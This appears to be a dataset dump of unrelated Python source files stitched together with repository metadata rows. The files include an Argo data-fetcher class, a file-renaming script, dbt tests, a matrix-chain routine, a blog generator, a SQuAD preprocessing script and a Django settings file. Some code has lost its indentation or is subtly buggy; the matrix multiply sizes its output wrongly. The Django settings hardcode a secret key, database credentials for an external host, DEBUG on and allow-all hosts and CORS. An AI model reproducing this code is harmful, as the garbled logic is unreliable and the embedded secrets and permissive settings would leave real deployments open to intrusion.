def float(self, wmo, **kw):
if "CYC" in kw or "cyc" in kw:
raise TypeError("float() got an unexpected keyword argument 'cyc'. Use 'profile' access "
"point to fetch specific profile data.")
if 'float' in self.Fetchers:
self.fetcher = self.Fetchers['float'](WMO=wmo, **self.fetcher_options)
self._AccessPoint = 'float'
else:
raise InvalidFetcherAccessPoint("'float' not available with '%s' src" % self._src)
if self._mode == 'standard' and self._dataset_id != 'ref':
def postprocessing(xds):
xds = self.fetcher.filter_data_mode(xds)
xds = self.fetcher.filter_qc(xds)
xds = self.fetcher.filter_variables(xds, self._mode)
return xds
self.postproccessor = postprocessing
return self
def profile(self, wmo, cyc):
if 'profile' in self.Fetchers:
self.fetcher = self.Fetchers['profile'](WMO=wmo, CYC=cyc, **self.fetcher_options)
self._AccessPoint = 'profile'
else:
raise InvalidFetcherAccessPoint("'profile' not available with '%s' src" % self._src)
if self._mode == 'standard' and self._dataset_id != 'ref':
def postprocessing(xds):
xds = self.fetcher.filter_data_mode(xds)
xds = self.fetcher.filter_qc(xds)
xds = self.fetcher.filter_variables(xds, self._mode)
return xds
self.postproccessor = postprocessing
return self
def region(self, box: list):
if 'region' in self.Fetchers:
self.fetcher = self.Fetchers['region'](box=box, **self.fetcher_options)
self._AccessPoint = 'region'
else:
raise InvalidFetcherAccessPoint("'region' not available with '%s' src" % self._src)
if self._mode == 'standard' and self._dataset_id != 'ref':
def postprocessing(xds):
xds = self.fetcher.filter_data_mode(xds)
xds = self.fetcher.filter_qc(xds)
xds = self.fetcher.filter_variables(xds, self._mode)
return xds
self.postproccessor = postprocessing
return self
def to_xarray(self, **kwargs):
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
xds = self.fetcher.to_xarray(**kwargs)
xds = self.postproccessor(xds)
return xds
def to_dataframe(self, **kwargs):
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
return self.to_xarray(**kwargs).to_dataframe()
def clear_cache(self):
return self.fetcher.clear_cache()
class ArgoIndexFetcher(object):
def __init__(self,
mode: str = "",
src: str = "",
**fetcher_kwargs):
self._mode = OPTIONS['mode'] if mode == '' else mode
self._src = OPTIONS['src'] if src == '' else src
_VALIDATORS['mode'](self._mode)
_VALIDATORS['src'](self._src)
if self._src not in AVAILABLE_INDEX_SOURCES:
raise InvalidFetcher("Requested index fetcher '%s' not available ! "
"Please try again with any of: %s" % (self._src, "\n".join(AVAILABLE_INDEX_SOURCES)))
else:
Fetchers = AVAILABLE_INDEX_SOURCES[self._src]
self.valid_access_points = ['profile', 'float', 'region']
self.Fetchers = {}
for p in Fetchers.access_points:
if p == 'wmo':
self.Fetchers['profile'] = Fetchers.Fetcher_wmo
self.Fetchers['float'] = Fetchers.Fetcher_wmo
if p == 'box':
self.Fetchers['region'] = Fetchers.Fetcher_box
self.fetcher = None
self.fetcher_options = {**fetcher_kwargs}
self.postproccessor = self.__empty_processor
self._AccessPoint = None
def __repr__(self):
if self.fetcher:
summary = [self.fetcher.__repr__()]
summary.append("User mode: %s" % self._mode)
else:
summary = ["<indexfetcher 'Not initialised'>"]
summary.append("Fetchers: %s" % ", ".join(self.Fetchers.keys()))
summary.append("User mode: %s" % self._mode)
return "\n".join(summary)
def __empty_processor(self, xds):
return xds
def __getattr__(self, key):
valid_attrs = ['Fetchers', 'fetcher', 'fetcher_options', 'postproccessor']
if key not in self.valid_access_points and key not in valid_attrs:
raise InvalidFetcherAccessPoint("'%s' is not a valid access point" % key)
pass
def profile(self, wmo, cyc):
if 'profile' in self.Fetchers:
self.fetcher = self.Fetchers['profile'](WMO=wmo, CYC=cyc, **self.fetcher_options)
self._AccessPoint = 'profile'
else:
raise InvalidFetcherAccessPoint("'profile' not available with '%s' src" % self._src)
return self
def float(self, wmo):
if 'float' in self.Fetchers:
self.fetcher = self.Fetchers['float'](WMO=wmo, **self.fetcher_options)
self._AccessPoint = 'float'
else:
raise InvalidFetcherAccessPoint("'float' not available with '%s' src" % self._src)
return self
def region(self, box):
if 'region' in self.Fetchers:
self.fetcher = self.Fetchers['region'](box=box, **self.fetcher_options)
self._AccessPoint = 'region'
else:
raise InvalidFetcherAccessPoint("'region' not available with '%s' src" % self._src)
return self
def to_dataframe(self, **kwargs):
if not self.fetcher:
raise InvalidFetcher(" Initialize an access point (%s) first." %
",".join(self.Fetchers.keys()))
return self.fetcher.to_dataframe(**kwargs)
def to_xarray(self, **kwargs):
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
return self.fetcher.to_xarray(**kwargs)
def to_csv(self, file: str = 'output_file.csv'):
if self._AccessPoint not in self.valid_access_points:
raise InvalidFetcherAccessPoint(" Initialize an access point (%s) first." % ",".join(self.Fetchers.keys()))
return self.to_dataframe().to_csv(file)
def plot(self, ptype='trajectory'):
idx = self.to_dataframe()
if ptype == 'dac':
return plot_dac(idx)
elif ptype == 'profiler':
return plot_profilerType(idx)
elif ptype == 'trajectory':
return plot_trajectory(idx.sort_values(['file']))
else:
raise ValueError("Type of plot unavailable. Use: 'dac', 'profiler' or 'trajectory' (default)")
def clear_cache(self):
return self.fetcher.clear_cache()
| true | true |
f725fc00d7ebb2835c0b2bf25f77e74b2071941c | 1,732 | py | Python | renameFiles.py | fkorsa/PythonScripts | 3ceb990a4e25eb2ac33c9841f5345de77a456904 | [
"BSD-3-Clause"
] | null | null | null | renameFiles.py | fkorsa/PythonScripts | 3ceb990a4e25eb2ac33c9841f5345de77a456904 | [
"BSD-3-Clause"
] | null | null | null | renameFiles.py | fkorsa/PythonScripts | 3ceb990a4e25eb2ac33c9841f5345de77a456904 | [
"BSD-3-Clause"
] | null | null | null | # Import all dependencies
import re, os, sys
from shutil import copyfile
def GetNewName(oldName, parameters):
"""if (not '.dll' in oldName
and not '.so' in oldName
and not '.eon' in oldName
):
raise ValueError()"""
pattern = r'([a-zA_Z_\.]+)([0-9]+)(.*)'
beginning = re.sub(pattern, r'\1', oldName)
pictureIndex = int(re.sub(pattern, r'\2', oldName)) - 1
ending = re.sub(pattern, r'\3', oldName)
pictureIndexString = str(pictureIndex)
pictureIndexString = ('0' * (5 - len(pictureIndexString))) + pictureIndexString
return beginning + pictureIndexString + ending
def renameFiles(inputFolder, outputFolder, parameters):
if not os.path.exists(outputFolder):
os.mkdir(outputFolder)
# Browse all files and subfolders
for dirname, dirnames, filenames in os.walk(inputFolder):
# Browse all files in current subfolder
filenames.sort(reverse=True)
for filename in filenames:
try:
newFilename = GetNewName(filename, parameters)
inputFile = os.path.join(dirname, filename)
outputFile = os.path.join(outputFolder, newFilename)
print('renaming ' + inputFile + ' into ' + outputFile)
copyfile(inputFile, outputFile)
except ValueError:
print('Wrong filename. Skipping this file.')
if __name__ == "__main__":
inputFolder = ''
outputFolder = ''
if len(sys.argv) < 3:
inputFolder = input('>> Input folder : ')
outputFolder = input('>> Output folder : ')
else:
inputFolder = sys.argv[1]
outputFolder = sys.argv[2]
renameFiles(inputFolder, outputFolder, ['', '', '']) | 36.851064 | 83 | 0.612587 |
import re, os, sys
from shutil import copyfile
def GetNewName(oldName, parameters):
pattern = r'([a-zA_Z_\.]+)([0-9]+)(.*)'
beginning = re.sub(pattern, r'\1', oldName)
pictureIndex = int(re.sub(pattern, r'\2', oldName)) - 1
ending = re.sub(pattern, r'\3', oldName)
pictureIndexString = str(pictureIndex)
pictureIndexString = ('0' * (5 - len(pictureIndexString))) + pictureIndexString
return beginning + pictureIndexString + ending
def renameFiles(inputFolder, outputFolder, parameters):
if not os.path.exists(outputFolder):
os.mkdir(outputFolder)
for dirname, dirnames, filenames in os.walk(inputFolder):
filenames.sort(reverse=True)
for filename in filenames:
try:
newFilename = GetNewName(filename, parameters)
inputFile = os.path.join(dirname, filename)
outputFile = os.path.join(outputFolder, newFilename)
print('renaming ' + inputFile + ' into ' + outputFile)
copyfile(inputFile, outputFile)
except ValueError:
print('Wrong filename. Skipping this file.')
if __name__ == "__main__":
inputFolder = ''
outputFolder = ''
if len(sys.argv) < 3:
inputFolder = input('>> Input folder : ')
outputFolder = input('>> Output folder : ')
else:
inputFolder = sys.argv[1]
outputFolder = sys.argv[2]
renameFiles(inputFolder, outputFolder, ['', '', '']) | true | true |
f725fd65cd9fd0c6626d2ccb18a6ab12c3269b2d | 734 | py | Python | test/integration/006_source_schema_test/test_source_schemas.py | bastienboutonnet/dbt-helper | 7bf56384ae584542eb22adf5431df1854e95ae9b | [
"Apache-2.0"
] | null | null | null | test/integration/006_source_schema_test/test_source_schemas.py | bastienboutonnet/dbt-helper | 7bf56384ae584542eb22adf5431df1854e95ae9b | [
"Apache-2.0"
] | null | null | null | test/integration/006_source_schema_test/test_source_schemas.py | bastienboutonnet/dbt-helper | 7bf56384ae584542eb22adf5431df1854e95ae9b | [
"Apache-2.0"
] | null | null | null | from test.integration.base import DBTIntegrationTest
class SourceSchemaTest(DBTIntegrationTest):
def test_dependencies(self):
self.run_dbt(["run"])
results = self.run_dbthelper(["show_upstream", "d"])
self.assertTrue(len(results) == 5)
results = self.run_dbthelper(["show_downstream", "d"])
self.assertTrue(len(results) == 1)
results = self.run_dbthelper(["show_upstream", "c"])
self.assertTrue(len(results) == 4)
results = self.run_dbthelper(["show_downstream", "c"])
self.assertTrue(len(results) == 2)
def test_compare(self):
self.run_dbt(["run"])
results = self.run_dbthelper(["compare"])
self.assertTrue(len(results) == 0)
| 36.7 | 62 | 0.638965 | from test.integration.base import DBTIntegrationTest
class SourceSchemaTest(DBTIntegrationTest):
def test_dependencies(self):
self.run_dbt(["run"])
results = self.run_dbthelper(["show_upstream", "d"])
self.assertTrue(len(results) == 5)
results = self.run_dbthelper(["show_downstream", "d"])
self.assertTrue(len(results) == 1)
results = self.run_dbthelper(["show_upstream", "c"])
self.assertTrue(len(results) == 4)
results = self.run_dbthelper(["show_downstream", "c"])
self.assertTrue(len(results) == 2)
def test_compare(self):
self.run_dbt(["run"])
results = self.run_dbthelper(["compare"])
self.assertTrue(len(results) == 0)
| true | true |
f725fe7163265998e318929048c9c017ed7a3eaa | 203 | py | Python | scitbx/suffixtree/single.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 155 | 2016-11-23T12:52:16.000Z | 2022-03-31T15:35:44.000Z | scitbx/suffixtree/single.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 590 | 2016-12-10T11:31:18.000Z | 2022-03-30T23:10:09.000Z | scitbx/suffixtree/single.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 115 | 2016-11-15T08:17:28.000Z | 2022-02-09T15:30:14.000Z | from __future__ import absolute_import, division, print_function
import boost_adaptbx.boost.python as bp
ext = bp.import_ext( "scitbx_suffixtree_single_ext" )
from scitbx_suffixtree_single_ext import *
| 33.833333 | 64 | 0.847291 | from __future__ import absolute_import, division, print_function
import boost_adaptbx.boost.python as bp
ext = bp.import_ext( "scitbx_suffixtree_single_ext" )
from scitbx_suffixtree_single_ext import *
| true | true |
f726009e115fa53dcbb215945e9db16a7b200188 | 1,222 | py | Python | DynamicProgramming/matrixChainMultiplication.py | ZPAVelocity/DataStructureExercise | 39b1cce859e5c46599b3a6e69ac80ade5920aa34 | [
"MIT"
] | null | null | null | DynamicProgramming/matrixChainMultiplication.py | ZPAVelocity/DataStructureExercise | 39b1cce859e5c46599b3a6e69ac80ade5920aa34 | [
"MIT"
] | null | null | null | DynamicProgramming/matrixChainMultiplication.py | ZPAVelocity/DataStructureExercise | 39b1cce859e5c46599b3a6e69ac80ade5920aa34 | [
"MIT"
] | null | null | null | import sys
import numpy as np
def main():
p = [30, 35, 15, 5, 10, 20, 25]
m, s = matrixChainOrder(p)
print('m')
for i in m:
print(i)
print('s')
for i in s:
print(i)
def matrixMultiply(A, B):
if A.shape[1] != B.shape[0]:
print('incompatible dimensions')
return np.array([[]])
C = np.array([[0 for i in range(A.shape[0])] for i in range(B.shape[1])])
for i in range(A.shape[0]):
for j in range(B.shape[1]):
C[i][j] = 0
for k in range(A.shape[1]):
C[i][j] += + A[i][k] * B[k][j]
return C
def matrixChainOrder(p):
n = len(p) - 1
m = [[0 for i in range(n)] for j in range(n)]
s = [[0 for i in range(n)] for j in range(n)]
for i in range(0, n):
m[i][i] = 0
for l in range(2, n + 1): # l is the chain length
for i in range(0, n - l + 1):
j = i + l - 1
m[i][j] = sys.maxsize
for k in range(i, j):
q = m[i][k] + m[k + 1][j] + p[i] * p[k + 1] * p[j + 1]
if q < m[i][j]:
m[i][j] = q
s[i][j] = k + 1
return m, s
if __name__ == "__main__":
main()
| 23.5 | 77 | 0.432079 | import sys
import numpy as np
def main():
p = [30, 35, 15, 5, 10, 20, 25]
m, s = matrixChainOrder(p)
print('m')
for i in m:
print(i)
print('s')
for i in s:
print(i)
def matrixMultiply(A, B):
if A.shape[1] != B.shape[0]:
print('incompatible dimensions')
return np.array([[]])
C = np.array([[0 for i in range(A.shape[0])] for i in range(B.shape[1])])
for i in range(A.shape[0]):
for j in range(B.shape[1]):
C[i][j] = 0
for k in range(A.shape[1]):
C[i][j] += + A[i][k] * B[k][j]
return C
def matrixChainOrder(p):
n = len(p) - 1
m = [[0 for i in range(n)] for j in range(n)]
s = [[0 for i in range(n)] for j in range(n)]
for i in range(0, n):
m[i][i] = 0
for l in range(2, n + 1):
for i in range(0, n - l + 1):
j = i + l - 1
m[i][j] = sys.maxsize
for k in range(i, j):
q = m[i][k] + m[k + 1][j] + p[i] * p[k + 1] * p[j + 1]
if q < m[i][j]:
m[i][j] = q
s[i][j] = k + 1
return m, s
if __name__ == "__main__":
main()
| true | true |
f72600ddc98d2dae8f2a00689368dc6c971a3fb8 | 3,248 | py | Python | nib/plugins/blog.py | jreese/nib | 53308e73aae7d10cdc273ab339bb041b07930a75 | [
"MIT"
] | 10 | 2015-02-03T08:21:16.000Z | 2021-12-24T10:08:57.000Z | nib/plugins/blog.py | jreese/nib | 53308e73aae7d10cdc273ab339bb041b07930a75 | [
"MIT"
] | 4 | 2016-09-22T01:18:30.000Z | 2016-09-23T00:18:38.000Z | nib/plugins/blog.py | jreese/nib | 53308e73aae7d10cdc273ab339bb041b07930a75 | [
"MIT"
] | 2 | 2016-09-22T00:39:31.000Z | 2017-03-16T00:09:47.000Z | from __future__ import absolute_import, division, print_function, unicode_literals
import datetime
import re
from nib import Document, Processor, before, document
dateregex = re.compile(r'(?P<year>\d\d\d\d)[-./](?P<month>\d\d)[-./](?P<day>\d\d)')
@before
class BlogDateProcessor(Processor):
def document(self, document):
if 'date' in document:
if document.group is None:
document.group = 'blog'
return document
@document('blog')
class BlogDocumentProcessor(Processor):
def process(self, documents, resources):
archives = self.options['blog']['archive']
uris = self.options['blog']['uris']
templates = self.options['blog']['templates']
blog_pages = {}
def blog_page(name, parent=None, child=None, **kwargs):
path = uris[name].format(**kwargs)
if path not in blog_pages:
page = Document(path=path,
content='',
short='',
template=templates[name],
pages=[],
**kwargs
)
if parent:
parent['pages'].append(page)
blog_pages[path] = page
else:
page = blog_pages[path]
if child:
page['pages'].append(child)
return page
feed_page = blog_page('feed', paginate=False)
index_page = blog_page('index')
archive_page = blog_page('archive', title='Archive', paginate=False)
tags_page = blog_page('tags', title='Tags', paginate=False)
for document in documents:
document['template'] = templates['post']
if type(document['date']) == datetime.date:
date = document['date']
kwargs = {
'date': date,
'year': date.year,
'month': date.month,
'day': date.day,
}
if archives['yearly']:
blog_page('yearly', parent=archive_page, child=document,
title=date.strftime('%Y'), type='year', **kwargs)
if archives['monthly']:
blog_page('monthly', parent=archive_page, child=document,
title=date.strftime('%B %Y'), type='month', **kwargs)
if archives['daily']:
blog_page('daily', parent=archive_page, child=document,
title=date.strftime('%B %d, %Y'), type='day', **kwargs)
if 'tags' in document:
tags = [token.strip() for token in document['tags'].split(',')]
document['tags'] = {}
for tag in tags:
tag_page = blog_page('tag', parent=tags_page, child=document,
title=tag, tag=tag)
document['tags'][tag] = tag_page
feed_page['pages'].append(document)
index_page['pages'].append(document)
documents.extend(blog_pages.values())
return documents, resources
| 36.494382 | 85 | 0.494458 | from __future__ import absolute_import, division, print_function, unicode_literals
import datetime
import re
from nib import Document, Processor, before, document
dateregex = re.compile(r'(?P<year>\d\d\d\d)[-./](?P<month>\d\d)[-./](?P<day>\d\d)')
@before
class BlogDateProcessor(Processor):
def document(self, document):
if 'date' in document:
if document.group is None:
document.group = 'blog'
return document
@document('blog')
class BlogDocumentProcessor(Processor):
def process(self, documents, resources):
archives = self.options['blog']['archive']
uris = self.options['blog']['uris']
templates = self.options['blog']['templates']
blog_pages = {}
def blog_page(name, parent=None, child=None, **kwargs):
path = uris[name].format(**kwargs)
if path not in blog_pages:
page = Document(path=path,
content='',
short='',
template=templates[name],
pages=[],
**kwargs
)
if parent:
parent['pages'].append(page)
blog_pages[path] = page
else:
page = blog_pages[path]
if child:
page['pages'].append(child)
return page
feed_page = blog_page('feed', paginate=False)
index_page = blog_page('index')
archive_page = blog_page('archive', title='Archive', paginate=False)
tags_page = blog_page('tags', title='Tags', paginate=False)
for document in documents:
document['template'] = templates['post']
if type(document['date']) == datetime.date:
date = document['date']
kwargs = {
'date': date,
'year': date.year,
'month': date.month,
'day': date.day,
}
if archives['yearly']:
blog_page('yearly', parent=archive_page, child=document,
title=date.strftime('%Y'), type='year', **kwargs)
if archives['monthly']:
blog_page('monthly', parent=archive_page, child=document,
title=date.strftime('%B %Y'), type='month', **kwargs)
if archives['daily']:
blog_page('daily', parent=archive_page, child=document,
title=date.strftime('%B %d, %Y'), type='day', **kwargs)
if 'tags' in document:
tags = [token.strip() for token in document['tags'].split(',')]
document['tags'] = {}
for tag in tags:
tag_page = blog_page('tag', parent=tags_page, child=document,
title=tag, tag=tag)
document['tags'][tag] = tag_page
feed_page['pages'].append(document)
index_page['pages'].append(document)
documents.extend(blog_pages.values())
return documents, resources
| true | true |
f72601e5fda214f23f81969e4034744eaff7b404 | 188 | py | Python | atcoder/abc178C_ubiquity.py | uninhm/kyopro | bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3 | [
"BSD-3-Clause"
] | 31 | 2020-05-13T01:07:55.000Z | 2021-07-13T07:53:26.000Z | atcoder/abc178C_ubiquity.py | uninhm/kyopro | bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3 | [
"BSD-3-Clause"
] | 10 | 2020-05-20T07:22:09.000Z | 2021-07-19T03:52:13.000Z | atcoder/abc178C_ubiquity.py | uninhm/kyopro | bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3 | [
"BSD-3-Clause"
] | 14 | 2020-05-11T05:58:36.000Z | 2021-12-07T03:20:43.000Z | # Vicfred & uninhm
# https://atcoder.jp/contests/abc178/tasks/abc178_c
# combinatorics
n = int(input())
mod = 10**9+7
print((pow(10, n, mod) - 2*pow(9, n, mod) + pow(8, n, mod)) % mod)
| 18.8 | 66 | 0.62234 |
n = int(input())
mod = 10**9+7
print((pow(10, n, mod) - 2*pow(9, n, mod) + pow(8, n, mod)) % mod)
| true | true |
f726020d71b71fa88e43f762ead78c688e3c3a3a | 3,322 | py | Python | language/bert_extraction/steal_bert_qa/data_generation/preprocess_thief_dev_squad.py | IngrojShrestha/language | 674a3d016b1e17658e301e8d9bdfa63e3d3f5d15 | [
"Apache-2.0"
] | 1 | 2020-05-30T15:19:39.000Z | 2020-05-30T15:19:39.000Z | language/bert_extraction/steal_bert_qa/data_generation/preprocess_thief_dev_squad.py | IngrojShrestha/language | 674a3d016b1e17658e301e8d9bdfa63e3d3f5d15 | [
"Apache-2.0"
] | null | null | null | language/bert_extraction/steal_bert_qa/data_generation/preprocess_thief_dev_squad.py | IngrojShrestha/language | 674a3d016b1e17658e301e8d9bdfa63e3d3f5d15 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Construct a held-out / validation set from a large pool of WIKI / RANDOM queries ensuring there is no overlap with the train set."""
import json
import random
import numpy as np
import tensorflow.compat.v1 as tf
app = tf.compat.v1.app
flags = tf.flags
gfile = tf.gfile
logging = tf.logging
flags.DEFINE_string("pool_dataset", None,
"Large pool of queries having training set distribution.")
flags.DEFINE_string("train_dataset", None,
"Training set of queries used for model extraction.")
flags.DEFINE_integer("dev_dataset_size", 10570,
"Number of QAs in held-out set. (default: SQuAD 1.1 size")
flags.DEFINE_string("output_path", None, "Output path for the held-out set.")
flags.DEFINE_integer("random_seed", 42, "Random seed for determinism.")
FLAGS = flags.FLAGS
def main(_):
random.seed(FLAGS.random_seed)
np.random.seed(FLAGS.random_seed)
with gfile.Open(FLAGS.pool_dataset, "r") as f:
pool_data = json.loads(f.read())["data"]
with gfile.Open(FLAGS.train_dataset, "r") as f:
train_data = json.loads(f.read())["data"]
all_train_paras = {}
for inst in train_data:
for para in inst["paragraphs"]:
all_train_paras[para["context"]] = 1
num_dev_questions = FLAGS.dev_dataset_size
# sanity check to verify all pool dataset question IDs are unique
num_pool_questions = 0
pool_qids = {}
for inst in pool_data:
for para in inst["paragraphs"]:
for qa in para["qas"]:
num_pool_questions += 1
pool_qids[qa["id"]] = 1
assert len(pool_qids) == num_pool_questions
random.shuffle(pool_data)
output_data = {"data": [], "version": FLAGS.version}
for instance in pool_data:
curr_instance = {"title": "Random dev data", "paragraphs": []}
for para in instance["paragraphs"]:
# Even if there is a paragraph overlap, do not consider it for the
# held-out set since we want to minimize overlap
if para["context"] in all_train_paras:
continue
# Assume different paragraphs have different questions
curr_instance["paragraphs"].append(para)
num_dev_questions = num_dev_questions - len(para["qas"])
if num_dev_questions <= 0:
break
if curr_instance["paragraphs"]:
output_data["data"].append(curr_instance)
if num_dev_questions <= 0:
break
total_questions = 0
for instance in output_data["data"]:
for para in instance["paragraphs"]:
for qa in para["qas"]:
total_questions += 1
logging.info("Final dataset size = %d", total_questions)
with gfile.Open(FLAGS.output_path, "w") as f:
f.write(json.dumps(output_data))
if __name__ == "__main__":
app.run(main)
| 31.638095 | 135 | 0.695665 |
import json
import random
import numpy as np
import tensorflow.compat.v1 as tf
app = tf.compat.v1.app
flags = tf.flags
gfile = tf.gfile
logging = tf.logging
flags.DEFINE_string("pool_dataset", None,
"Large pool of queries having training set distribution.")
flags.DEFINE_string("train_dataset", None,
"Training set of queries used for model extraction.")
flags.DEFINE_integer("dev_dataset_size", 10570,
"Number of QAs in held-out set. (default: SQuAD 1.1 size")
flags.DEFINE_string("output_path", None, "Output path for the held-out set.")
flags.DEFINE_integer("random_seed", 42, "Random seed for determinism.")
FLAGS = flags.FLAGS
def main(_):
random.seed(FLAGS.random_seed)
np.random.seed(FLAGS.random_seed)
with gfile.Open(FLAGS.pool_dataset, "r") as f:
pool_data = json.loads(f.read())["data"]
with gfile.Open(FLAGS.train_dataset, "r") as f:
train_data = json.loads(f.read())["data"]
all_train_paras = {}
for inst in train_data:
for para in inst["paragraphs"]:
all_train_paras[para["context"]] = 1
num_dev_questions = FLAGS.dev_dataset_size
num_pool_questions = 0
pool_qids = {}
for inst in pool_data:
for para in inst["paragraphs"]:
for qa in para["qas"]:
num_pool_questions += 1
pool_qids[qa["id"]] = 1
assert len(pool_qids) == num_pool_questions
random.shuffle(pool_data)
output_data = {"data": [], "version": FLAGS.version}
for instance in pool_data:
curr_instance = {"title": "Random dev data", "paragraphs": []}
for para in instance["paragraphs"]:
if para["context"] in all_train_paras:
continue
curr_instance["paragraphs"].append(para)
num_dev_questions = num_dev_questions - len(para["qas"])
if num_dev_questions <= 0:
break
if curr_instance["paragraphs"]:
output_data["data"].append(curr_instance)
if num_dev_questions <= 0:
break
total_questions = 0
for instance in output_data["data"]:
for para in instance["paragraphs"]:
for qa in para["qas"]:
total_questions += 1
logging.info("Final dataset size = %d", total_questions)
with gfile.Open(FLAGS.output_path, "w") as f:
f.write(json.dumps(output_data))
if __name__ == "__main__":
app.run(main)
| true | true |
f72604d331367abace2bd7856e05fc96d5ec665a | 3,831 | py | Python | visualisation_engine/settings/dev.py | QualiChain/visualisation_engine_ | 8ec00aa08d703a9f23462d73236f1e20e9168237 | [
"MIT"
] | null | null | null | visualisation_engine/settings/dev.py | QualiChain/visualisation_engine_ | 8ec00aa08d703a9f23462d73236f1e20e9168237 | [
"MIT"
] | null | null | null | visualisation_engine/settings/dev.py | QualiChain/visualisation_engine_ | 8ec00aa08d703a9f23462d73236f1e20e9168237 | [
"MIT"
] | null | null | null | """
Django settings for visualisation_engine project.
Generated by 'django-admin startproject' using Django 3.1.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib import Path
import os
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve(strict=True).parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 's5oyds$!u$m%m#oq6iqr!=sq)$5gt(bo6bnu+2qsg#fcgzfw@b'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = ['*']
#CORS
CORS_ORIGIN_ALLOW_ALL = True
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
# CORS
'corsheaders',
'django.contrib.staticfiles',
'visualiser',
# 'data_manager'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
#CORS
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'visualisation_engine.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
,
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'visualisation_engine.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.sqlite3',
# 'NAME': BASE_DIR / 'db.sqlite3',
# }
# }
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
STATIC_URL = '/static/'
STATIC_FINDER = [
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles/')
STATICFILES_DIRS = [
os.path.join(BASE_DIR, '../static'),
]
TEMPLATE_DIRS = (os.path.join(BASE_DIR, 'templates'),)
# external postgres
ENGINE_STRING = 'postgresql+psycopg2://{}:{}@{}:{}/{}'.format(
'admin',
'admin',
'qualichain.epu.ntua.gr',
5435,
'qualichain_db'
) | 25.039216 | 91 | 0.692247 |
from pathlib import Path
import os
BASE_DIR = Path(__file__).resolve(strict=True).parent.parent
SECRET_KEY = 's5oyds$!u$m%m#oq6iqr!=sq)$5gt(bo6bnu+2qsg#fcgzfw@b'
DEBUG = True
ALLOWED_HOSTS = ['*']
#CORS
CORS_ORIGIN_ALLOW_ALL = True
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
# CORS
'corsheaders',
'django.contrib.staticfiles',
'visualiser',
# 'data_manager'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
#CORS
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'visualisation_engine.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
,
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
